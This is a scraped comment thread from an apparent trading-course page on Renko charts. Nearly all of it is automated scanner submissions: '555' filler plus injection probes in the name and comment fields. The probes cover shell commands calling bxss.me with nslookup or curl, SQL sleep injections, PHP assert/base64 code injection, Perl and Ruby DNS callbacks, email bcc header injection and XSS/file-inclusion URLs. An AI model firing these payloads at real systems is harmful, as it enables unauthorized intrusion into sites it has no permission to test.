JMgfoull commented on January 31st, 2024 at 8:34 AM
555

JMgfoull commented on January 31st, 2024 at 8:35 AM
555

JMgfoull commented on January 31st, 2024 at 8:36 AM
555

JMgfoull commented on January 31st, 2024 at 8:37 AM
555

JMgfoull commented on January 31st, 2024 at 8:38 AM
555

JMgfoull commented on January 31st, 2024 at 8:41 AM
555

JMgfoull commented on January 31st, 2024 at 8:47 AM
555

mulOMpUR commented on January 31st, 2024 at 7:52 PM
555

mulOMpUR commented on January 31st, 2024 at 7:53 PM
555

mulOMpUR commented on January 31st, 2024 at 8:10 PM
555

mulOMpUR commented on January 31st, 2024 at 8:12 PM
555

mulOMpUR commented on January 31st, 2024 at 8:15 PM
555

mulOMpUR commented on January 31st, 2024 at 8:17 PM
555

1'" commented on January 31st, 2024 at 8:19 PM
555

@@0rewU commented on January 31st, 2024 at 8:20 PM
555

mulOMpUR commented on January 31st, 2024 at 8:22 PM
555

mulOMpUR commented on January 31st, 2024 at 8:23 PM
555

mulOMpUR commented on January 31st, 2024 at 8:26 PM
1'"

mulOMpUR commented on January 31st, 2024 at 8:28 PM
@@ku4e4

mulOMpUR commented on January 31st, 2024 at 8:29 PM
555

mulOMpUR commented on January 31st, 2024 at 8:31 PM
555

mulOMpUR commented on January 31st, 2024 at 8:32 PM
555

mulOMpUR commented on January 31st, 2024 at 8:33 PM
555

mulOMpUR commented on January 31st, 2024 at 8:34 PM
555

mulOMpUR commented on January 31st, 2024 at 8:35 PM
555

mulOMpUR commented on January 31st, 2024 at 8:36 PM
555

mulOMpUR commented on January 31st, 2024 at 8:37 PM
555

mulOMpUR commented on January 31st, 2024 at 8:38 PM
555

mulOMpUR commented on January 31st, 2024 at 8:40 PM
555

mulOMpUR commented on January 31st, 2024 at 8:41 PM
555

mulOMpUR commented on January 31st, 2024 at 8:44 PM
555

mulOMpUR commented on January 31st, 2024 at 8:47 PM
555

mulOMpUR commented on January 31st, 2024 at 8:51 PM
555

kYaZsHyN commented on February 5th, 2024 at 5:49 AM
555

kYaZsHyN commented on February 5th, 2024 at 5:50 AM
555

kYaZsHyN commented on February 5th, 2024 at 5:56 AM
555

kYaZsHyN commented on February 5th, 2024 at 5:57 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:03 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:05 AM
555

1'" commented on February 5th, 2024 at 6:08 AM
555

@@fqtBf commented on February 5th, 2024 at 6:10 AM
555

@@fqtBf commented on February 5th, 2024 at 6:11 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:14 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:16 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:20 AM
1'"

kYaZsHyN commented on February 5th, 2024 at 6:21 AM
1'"

kYaZsHyN commented on February 5th, 2024 at 6:22 AM
1'"

kYaZsHyN commented on February 5th, 2024 at 6:22 AM
@@OiqGB

kYaZsHyN commented on February 5th, 2024 at 6:23 AM
@@OiqGB

kYaZsHyN commented on February 5th, 2024 at 6:25 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:28 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:29 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:30 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:32 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:33 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:35 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:37 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:38 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:41 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:42 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:45 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:47 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:49 AM
555

kYaZsHyN commented on February 5th, 2024 at 6:53 AM
555

wUmrLVWz commented on March 8th, 2024 at 2:18 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:19 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:20 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:21 PM
555

1'" commented on March 8th, 2024 at 2:23 PM
555

@@7SNRQ commented on March 8th, 2024 at 2:23 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:23 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:24 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:25 PM
1'"

wUmrLVWz commented on March 8th, 2024 at 2:25 PM
@@g3rJM

wUmrLVWz commented on March 8th, 2024 at 2:26 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:27 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:28 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:29 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:30 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:32 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:35 PM
555

wUmrLVWz commented on March 8th, 2024 at 2:36 PM
555

MmzHrrdb commented on March 13th, 2024 at 11:25 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:48 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:49 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:50 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:51 AM
555

1'" commented on March 13th, 2024 at 11:52 AM
555

@@HMZHr commented on March 13th, 2024 at 11:52 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:52 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:53 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:54 AM
1'"

MmzHrrdb commented on March 13th, 2024 at 11:54 AM
@@AvzQA

MmzHrrdb commented on March 13th, 2024 at 11:55 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:56 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:57 AM
555

MmzHrrdb commented on March 13th, 2024 at 11:58 AM
555

MmzHrrdb commented on March 13th, 2024 at 12:00 PM
555

MmzHrrdb commented on March 13th, 2024 at 12:02 PM
555

MmzHrrdb commented on March 13th, 2024 at 12:07 PM
555

MmzHrrdb commented on March 13th, 2024 at 12:10 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:15 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:17 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:18 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:19 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:20 PM
555

1'" commented on March 16th, 2024 at 3:21 PM
555

@@ThCew commented on March 16th, 2024 at 3:22 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:23 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:25 PM
1'"

CpjJwWHV commented on March 16th, 2024 at 3:25 PM
@@BqH1k

CpjJwWHV commented on March 16th, 2024 at 3:26 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:27 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:28 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:29 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:30 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:31 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:32 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:33 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:35 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:36 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:37 PM
555

CpjJwWHV commented on March 16th, 2024 at 3:53 PM
555

CpjJwWHV commented on March 18th, 2024 at 6:44 AM
555

CpjJwWHV commented on March 18th, 2024 at 6:57 AM
555

CpjJwWHV commented on March 18th, 2024 at 6:58 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:00 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:01 AM
555

1'" commented on March 18th, 2024 at 7:02 AM
555

@@gMQLs commented on March 18th, 2024 at 7:02 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:04 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:05 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:06 AM
1'"

CpjJwWHV commented on March 18th, 2024 at 7:06 AM
@@qg0WY

CpjJwWHV commented on March 18th, 2024 at 7:07 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:08 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:09 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:10 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:11 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:12 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:13 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:14 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:15 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:16 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:17 AM
555

CpjJwWHV commented on March 18th, 2024 at 7:34 AM
555

fKxorhrg commented on March 21st, 2024 at 1:21 PM
555

fKxorhrg commented on March 21st, 2024 at 1:32 PM
555

fKxorhrg commented on March 21st, 2024 at 1:33 PM
555

fKxorhrg commented on March 21st, 2024 at 1:38 PM
555

fKxorhrg commented on March 21st, 2024 at 1:40 PM
555

fKxorhrg'" commented on March 21st, 2024 at 1:41 PM
555

@@brXCG commented on March 21st, 2024 at 1:41 PM
555

fKxorhrg commented on March 21st, 2024 at 1:43 PM
555

fKxorhrg commented on March 21st, 2024 at 1:44 PM
555

fKxorhrg commented on March 21st, 2024 at 1:47 PM
555'"

fKxorhrg commented on March 21st, 2024 at 1:49 PM
@@2aabu

fKxorhrg commented on March 21st, 2024 at 1:51 PM
555

fKxorhrg commented on March 21st, 2024 at 1:52 PM
555

fKxorhrg commented on March 21st, 2024 at 1:53 PM
555

fKxorhrg commented on March 21st, 2024 at 1:54 PM
555

fKxorhrg commented on March 21st, 2024 at 1:55 PM
555

fKxorhrg commented on March 21st, 2024 at 1:57 PM
555

fKxorhrg commented on March 21st, 2024 at 1:58 PM
555

fKxorhrg commented on March 21st, 2024 at 1:59 PM
555

fKxorhrg commented on March 21st, 2024 at 2:00 PM
555

fKxorhrg commented on March 21st, 2024 at 2:01 PM
555

fKxorhrg commented on March 21st, 2024 at 2:02 PM
555

fKxorhrg commented on March 21st, 2024 at 2:04 PM
555

fKxorhrg commented on March 21st, 2024 at 2:05 PM
555

fKxorhrg commented on March 21st, 2024 at 2:07 PM
555

fKxorhrg commented on March 21st, 2024 at 2:08 PM
555

fKxorhrg commented on March 21st, 2024 at 2:17 PM
555

fKxorhrg commented on March 21st, 2024 at 2:18 PM
555

fKxorhrg commented on March 21st, 2024 at 2:20 PM
555

n8ZDWPlu commented on March 23rd, 2024 at 11:39 AM
555

JMgfoull commented on March 23rd, 2024 at 11:40 AM
555

JMgfoull commented on March 23rd, 2024 at 11:40 AM
555&n968824=v972083

JMgfoull commented on March 23rd, 2024 at 11:40 AM
555

JMgfoull commented on March 23rd, 2024 at 11:40 AM
!(()&&!|*|*|

|echo ufggoj$()\ ofqvlg\nz^xyu||a #' |echo ufggoj$()\ ofqvlg\nz^xyu||a #|" |echo ufggoj$()\ ofqvlg\nz^xyu||a # commented on March 23rd, 2024 at 11:41 AM
555

JMgfoull commented on March 23rd, 2024 at 11:41 AM
555

JMgfoull commented on March 23rd, 2024 at 11:41 AM
[email protected]>
bcc:[email protected]

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) commented on March 23rd, 2024 at 11:41 AM
555

xfs.bxss.me commented on March 23rd, 2024 at 11:41 AM
555

JMgfoull commented on March 23rd, 2024 at 11:41 AM
555

'.gethostbyname(lc('hitki'.'zioxlmxdf989f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(72).chr(108).chr(76).' commented on March 23rd, 2024 at 11:42 AM
555

JMgfoull commented on March 23rd, 2024 at 11:42 AM
555

JMgfoull commented on March 23rd, 2024 at 11:42 AM
echo wpwuhk$()\ eqzeoa\nz^xyu||a #' &echo wpwuhk$()\ eqzeoa\nz^xyu||a #|" &echo wpwuhk$()\ eqzeoa\nz^xyu||a #

JMgfoull commented on March 23rd, 2024 at 11:42 AM
555

JMgfoull commented on March 23rd, 2024 at 11:42 AM
echo wpwuhk$()\ eqzeoa\nz^xyu||a #' &echo wpwuhk$()\ eqzeoa\nz^xyu||a #|" &echo wpwuhk$()\ eqzeoa\nz^xyu||a #

JMgfoull commented on March 23rd, 2024 at 11:43 AM
555

JMgfoull commented on March 23rd, 2024 at 11:43 AM
"+"A".concat(70-3).concat(22*4).concat(97).concat(81).concat(112).concat(88)+(require"socket"
Socket.gethostbyname("hitso"+"eflsqorb7b444.bxss.me.")[3].to_s)+"

JMgfoull commented on March 23rd, 2024 at 11:43 AM
555

JMgfoull commented on March 23rd, 2024 at 11:44 AM
555

JMgfoull commented on March 23rd, 2024 at 11:44 AM
"+"A".concat(70-3).concat(22*4).concat(97).concat(81).concat(112).concat(88)+(require"socket"
Socket.gethostbyname("hitso"+"eflsqorb7b444.bxss.me.")[3].to_s)+"

JMgfoull commented on March 23rd, 2024 at 11:44 AM
555

JMgfoull commented on March 23rd, 2024 at 11:45 AM
555

'"() commented on March 23rd, 2024 at 11:45 AM
555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg commented on March 23rd, 2024 at 11:45 AM
555

JMgfoull commented on March 23rd, 2024 at 11:45 AM
555

JMgfoull'||sleep(27*1000)*lzwmfh||' commented on March 23rd, 2024 at 11:46 AM
555

@@ERMjr commented on March 23rd, 2024 at 11:46 AM
555

JMgfoull commented on March 23rd, 2024 at 11:46 AM
555

JMgfoull"||sleep(27*1000)*hmpqde||" commented on March 23rd, 2024 at 11:46 AM
555

JMgfoull commented on March 23rd, 2024 at 11:46 AM
555

JMgfoull commented on March 23rd, 2024 at 11:46 AM
Http://bxss.me/t/fit.txt

JMgfoull commented on March 23rd, 2024 at 11:46 AM
555

JMgfoull commented on March 23rd, 2024 at 11:47 AM
555'&&sleep(27*1000)*nmbceh&&'

JMgfoull commented on March 23rd, 2024 at 11:47 AM
555

JMgfoull commented on March 23rd, 2024 at 11:48 AM
555

JMgfoull commented on March 23rd, 2024 at 11:49 AM
555

JMgfoull commented on March 23rd, 2024 at 11:52 AM
555

JMgfoull commented on March 23rd, 2024 at 11:58 AM
555

bxss.me/t/xss.html?%00 commented on March 23rd, 2024 at 11:59 AM
555

&echo rnwije$()\ tuffbb\nz^xyu||a #' &echo rnwije$()\ tuffbb\nz^xyu||a #|" &echo rnwije$()\ tuffbb\nz^xyu||a # commented on March 23rd, 2024 at 12:00 PM
555

JMgfoull commented on March 23rd, 2024 at 12:01 PM
555
bcc:[email protected]

xfs.bxss.me commented on March 23rd, 2024 at 12:01 PM
555

${@print(md5(31337))} commented on March 23rd, 2024 at 12:01 PM
555

JMgfoull commented on March 23rd, 2024 at 12:01 PM
555

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) commented on March 23rd, 2024 at 12:02 PM
555

JMgfoull commented on March 23rd, 2024 at 12:02 PM
555

JMgfoull commented on March 23rd, 2024 at 12:02 PM
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'+'A'.concat(70-3).concat(22*4).concat(107).concat(68).concat(108).concat(85)+(require'socket' Socket.gethostbyname('hitaa'+'dkbpafmbc9041.bxss.me.')[3].to_s)+' commented on March 23rd, 2024 at 12:02 PM
555

JMgfoull commented on March 23rd, 2024 at 12:02 PM
555

JMgfoull commented on March 23rd, 2024 at 12:03 PM
"+"A".concat(70-3).concat(22*4).concat(97).concat(81).concat(112).concat(88)+(require"socket"
Socket.gethostbyname("hitso"+"eflsqorb7b444.bxss.me.")[3].to_s)+"

JMgfoull commented on March 23rd, 2024 at 12:03 PM
555

JMgfoull commented on March 23rd, 2024 at 12:04 PM
555

JMgfoull commented on March 23rd, 2024 at 12:05 PM
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

JMgfoull commented on March 23rd, 2024 at 12:05 PM
555

JMgfoull commented on March 23rd, 2024 at 12:06 PM
555

JMgfoull commented on March 23rd, 2024 at 12:07 PM
555

JMgfoull commented on March 23rd, 2024 at 12:08 PM
555

WEtiSXdGWWI= commented on March 23rd, 2024 at 12:08 PM
555

JMgfoull commented on March 23rd, 2024 at 12:09 PM
bxss.me/t/xss.html?%00

JMgfoull commented on March 23rd, 2024 at 12:09 PM
555
bcc:[email protected]

WEtiSXdGWWI= commented on March 23rd, 2024 at 12:09 PM
555

JMgfoull&echo creysy$()\ fyihyf\nz^xyu||a #' &echo creysy$()\ fyihyf\nz^xyu||a #|" &echo creysy$()\ fyihyf\nz^xyu||a # commented on March 23rd, 2024 at 12:09 PM
555

JMgfoull commented on March 23rd, 2024 at 12:10 PM
555

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) commented on March 23rd, 2024 at 12:10 PM
555

|(nslookup -q=cname hitvnszfxuprzc9939.bxss.me||curl hitvnszfxuprzc9939.bxss.me) commented on March 23rd, 2024 at 12:11 PM
555

".gethostbyname(lc("hitan"."jrxfgmwaedeaf.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(80).chr(122).chr(70)." commented on March 23rd, 2024 at 12:11 PM
555

JMgfoull commented on March 23rd, 2024 at 12:11 PM
555

JMgfoull commented on March 23rd, 2024 at 12:11 PM
".gethostbyname(lc("hitru"."sjqsqkpr2501e.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(76).chr(98).chr(86)."

JMgfoull commented on March 23rd, 2024 at 12:12 PM
echo wpwuhk$()\ eqzeoa\nz^xyu||a #' &echo wpwuhk$()\ eqzeoa\nz^xyu||a #|" &echo wpwuhk$()\ eqzeoa\nz^xyu||a #

JMgfoull commented on March 23rd, 2024 at 12:12 PM
555

JMgfoull commented on March 23rd, 2024 at 12:13 PM
555

JMgfoull"||sleep(27*1000)*hmpqde||" commented on March 23rd, 2024 at 12:14 PM
555

JMgfoull commented on March 23rd, 2024 at 12:14 PM
555

JMgfoull commented on March 23rd, 2024 at 12:14 PM
'"()

JMgfoull commented on March 23rd, 2024 at 12:14 PM
http://bxss.me/t/fit.txt?.jpg

JMgfoull commented on March 23rd, 2024 at 12:14 PM
555

JMgfoull commented on March 23rd, 2024 at 12:15 PM
555

JMgfoull commented on March 23rd, 2024 at 12:16 PM
555

wUmrLVWz commented on April 2nd, 2024 at 8:23 PM
555

wUmrLVWz commented on April 2nd, 2024 at 8:24 PM
555

wUmrLVWz commented on April 2nd, 2024 at 8:25 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:03 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:04 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:07 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:08 PM
555

1'" commented on April 2nd, 2024 at 9:09 PM
555

@@Hxl5O commented on April 2nd, 2024 at 9:10 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:11 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:12 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:13 PM
1'"

wUmrLVWz commented on April 2nd, 2024 at 9:14 PM
@@aMCLm

wUmrLVWz commented on April 2nd, 2024 at 9:15 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:16 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:18 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:19 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:21 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:22 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:24 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:28 PM
555

wUmrLVWz commented on April 2nd, 2024 at 9:30 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:18 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:33 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:34 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:37 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:38 PM
555

1'" commented on April 3rd, 2024 at 3:38 PM
555

@@9YxWd commented on April 3rd, 2024 at 3:39 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:39 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:40 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:42 PM
1'"

JCfUZQsq commented on April 3rd, 2024 at 3:44 PM
@@IeVpM

JCfUZQsq commented on April 3rd, 2024 at 3:45 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:46 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:47 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:48 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:49 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:50 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:51 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:52 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:53 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:54 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:56 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:58 PM
555

JCfUZQsq commented on April 3rd, 2024 at 3:59 PM
555

JCfUZQsq commented on April 3rd, 2024 at 6:15 PM
555

MmzHrrdb commented on April 4th, 2024 at 11:24 AM
555

MmzHrrdb commented on April 4th, 2024 at 11:25 AM
555

MmzHrrdb commented on April 4th, 2024 at 11:57 AM
555

MmzHrrdb commented on April 4th, 2024 at 11:58 AM
555

MmzHrrdb commented on April 4th, 2024 at 12:02 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:03 PM
555

1'" commented on April 4th, 2024 at 12:04 PM
555

@@nEP21 commented on April 4th, 2024 at 12:05 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:06 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:07 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:08 PM
1'"

MmzHrrdb commented on April 4th, 2024 at 12:08 PM
@@6Vk8c

MmzHrrdb commented on April 4th, 2024 at 12:08 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:09 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:12 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:13 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:14 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:16 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:18 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:19 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:20 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:21 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:23 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:24 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:26 PM
555

MmzHrrdb commented on April 4th, 2024 at 12:39 PM
555

UZJglwlz commented on April 13th, 2024 at 8:33 PM
555

UZJglwlz commented on April 13th, 2024 at 8:35 PM
555

UZJglwlz commented on April 13th, 2024 at 9:28 PM
555

UZJglwlz commented on April 13th, 2024 at 9:31 PM
555

UZJglwlz commented on April 13th, 2024 at 9:41 PM
555

UZJglwlz commented on April 13th, 2024 at 9:44 PM
555

1'" commented on April 13th, 2024 at 9:48 PM
555

@@qPH1x commented on April 13th, 2024 at 9:50 PM
555

@@qPH1x commented on April 13th, 2024 at 9:51 PM
555

UZJglwlz commented on April 13th, 2024 at 9:54 PM
555

UZJglwlz commented on April 13th, 2024 at 9:57 PM
555

UZJglwlz commented on April 13th, 2024 at 10:03 PM
1'"

UZJglwlz commented on April 13th, 2024 at 10:03 PM
@@WjzTY

UZJglwlz commented on April 13th, 2024 at 10:05 PM
555

UZJglwlz commented on April 13th, 2024 at 10:07 PM
555

UZJglwlz commented on April 13th, 2024 at 10:08 PM
555

UZJglwlz commented on April 13th, 2024 at 10:09 PM
555

UZJglwlz commented on April 13th, 2024 at 10:12 PM
555

UZJglwlz commented on April 13th, 2024 at 10:14 PM
555

UZJglwlz commented on April 13th, 2024 at 10:15 PM
555

UZJglwlz commented on April 13th, 2024 at 10:16 PM
555

UZJglwlz commented on April 13th, 2024 at 10:18 PM
555

UZJglwlz commented on April 13th, 2024 at 10:21 PM
555

UZJglwlz commented on April 13th, 2024 at 10:23 PM
555

UZJglwlz commented on April 13th, 2024 at 10:25 PM
555

UZJglwlz commented on April 13th, 2024 at 10:27 PM
555

aYlNlfdX commented on April 16th, 2024 at 9:14 AM
555

aYlNlfdX commented on April 16th, 2024 at 9:55 AM
555

aYlNlfdX commented on April 16th, 2024 at 9:56 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:01 AM
555

aYlNlfdX'" commented on April 16th, 2024 at 10:05 AM
555

@@DVJyj commented on April 16th, 2024 at 10:05 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:06 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:07 AM
555'"

aYlNlfdX commented on April 16th, 2024 at 10:08 AM
@@p8Pat

aYlNlfdX commented on April 16th, 2024 at 10:08 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:09 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:12 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:13 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:14 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:17 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:18 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:21 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:23 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:25 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:34 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:36 AM
555

aYlNlfdX commented on April 16th, 2024 at 10:37 AM
555

aYlNlfdX commented on April 21st, 2024 at 3:32 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:22 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:23 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:26 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:33 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:36 AM
555

aYlNlfdX'" commented on April 21st, 2024 at 4:40 AM
555

@@M3mDY commented on April 21st, 2024 at 4:41 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:44 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:47 AM
555

aYlNlfdX commented on April 21st, 2024 at 4:59 AM
555'"

aYlNlfdX commented on April 21st, 2024 at 4:59 AM
@@n2HmD

aYlNlfdX commented on April 21st, 2024 at 4:59 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:01 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:06 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:07 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:10 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:12 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:14 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:15 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:16 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:17 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:18 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:20 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:21 AM
555

aYlNlfdX commented on April 21st, 2024 at 5:23 AM
555

1. Introduction to Stock Markets

2. Technical Analysis

3. Fundamental Analysis

4. Commodities

5. Currencies

6. Options

7. Options Strategies

8. Futures

9. Intermarket Analysis and Sector Rotation

10. Risk and Money Management

11. Trading Psychology

Renko Charts

Introduction to Renko Charts

Characteristics of Renko charts

Construction of Renko charts

How to analyse and interpret Renko charts

Next Chapter

Line Break Charts

Kagi Charts

Responses